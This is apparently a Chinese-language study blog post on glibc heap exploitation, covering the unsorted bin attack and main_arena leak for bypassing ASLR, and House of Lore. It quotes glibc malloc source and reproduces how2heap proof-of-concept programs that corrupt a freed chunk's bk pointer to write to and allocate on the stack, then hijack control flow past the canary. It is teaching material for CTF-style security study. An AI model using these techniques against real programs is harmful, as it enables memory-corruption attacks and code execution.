Zj_W1nd's BLOG

How2Heap(5)——Unsorted bin attack & House of Lore

2024/01/25

Unsorted Bin Attack:非常常用,用来绕过aslr

首先,Unsorted bin是FIFO的。后放入的会插在队头(离main arena最近的一端,一定要区分这个),取chunk的时候会从尾部(离main arena较远的一端)取出;但unsorted bin是一个双向循环链表,严格来说没有头尾之分,这里按下面这张图的格式方便记忆。
!(unsorted_bin)[/images/unsorted_bin.jpg]

所谓的main arena指的其实是struct malloc_state main_arena.bins[0,1](见How2Heap-3),64位系统下应该是指向main_arena+96。通过这个攻击我们能将这个数写在我们想要的地址,常用来篡改某些关键字段的数据(如top chunk的size)。而且这个数和libc基址的偏移是固定的,泄露这个数可以用来绕过aslr,因此这个手法很常用。

Unsorted Bin Leak

这里没有什么特定的技巧,用UAF将已经放在Unsorted Bin中的chunk内容打印泄露其fd即可,同时如果unsorted bin中只有一个chunk,fd和bk都会指向main_arena+96。

打出这个值之后获取和libc基址的偏移,参考ctf wiki有两种获取libc基址的方法,一是通过IDA分析libc文件,找到malloc_trim函数,里面会有访问main_arena的位置,可以直接获取。

二是借助__malloc_hook()函数进行计算,这种方法比较方便。malloc_state和__malloc_hook的地址差是0x10,然后直接在libc中进行查找就行:

1
main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

Unsorted Bin Attack 原理

这个漏洞得以实现是因为_int_malloc中有这样一段:

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

unsorted_chunks(av)是宏bin_at(M,1)。也就是说,控制victim的bk,在将victim从chunk中取出的时候,bk地址就会被写入malloc_state.bin[1]这样的大地址。

在直接从Unsorted Bin中取处chunk的时候,malloc并不使用victim的fd,所以随便改没有检查。但是要注意的是,进行一次攻击后unsorted bin的链表头会被破坏,后续我们就无法再从unsorted bin中取chunk了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/* 显然,bck被修改,并不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);

/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

流程很简单,只要一个UAF就能实现任意地址写大数。注意劫持bk要写入target_addr-0x10,即target_addr在一个假chunk(甚至都没有伪造,某种意义上是一个“幻象”chunk/“影子”chunk)的fd处。

House of Lore:针对small bin的任意地址分配chunk攻击

思想很简单,想办法绕过源码中对于smallbin的检查即可。即控制一个smallbin大小chunk的bk指向我们的目标地址,然后让这个fake_chunk的fd指向这个small chunk(也就是malloc只检查 bck -> fd =? victim,如果不等就报错退出)。接着把我们的small chunk取出来,下一次malloc堆块就会分配在我们想要的位置了。smallbin是FIFO结构,新加入的chunk会插在bin数组索引紧邻的位置。

how2heap给我们的代码是将chunk分配在了栈上,而且最后shellcode执行告诉我们会破坏canary。在看到没有开canary的堆题的时候可以考虑这个攻击。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){

intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
CATALOG
  1. 1. Unsorted Bin Attack:非常常用,用来绕过aslr
    1. 1.1. Unsorted Bin Leak
    2. 1.2. Unsorted Bin Attack 原理
    3. 1.3. POC
  2. 2. House of Lore:针对small bin的任意地址分配chunk攻击
    1. 2.1. poc